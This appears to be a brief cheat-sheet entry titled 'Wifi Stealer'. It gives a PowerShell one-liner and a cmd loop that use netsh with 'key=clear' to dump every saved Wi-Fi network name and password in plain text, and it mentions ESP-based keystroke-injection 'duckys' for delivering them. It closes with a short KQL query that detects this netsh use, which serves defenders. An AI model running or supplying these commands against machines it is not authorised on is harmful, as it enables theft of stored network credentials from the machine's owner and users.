Wifi Stealer inspired by Manjuska Framework/TCM
Wireless will always be inferior :)
(netsh wlan show profiles) | Select-String ":(.+)$" | %{$name=$.Matches.Groups[1].Value.Trim(); $} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+:(.+)$" | %{$pass=$.Matches.Groups[1].Value.Trim(); $} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -Wrap
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
WHID for ESP based duckys
DeviceProcessEvents
| where FileName == "netsh.exe"
| where ProcessCommandLine contains "key=clear" //plain-text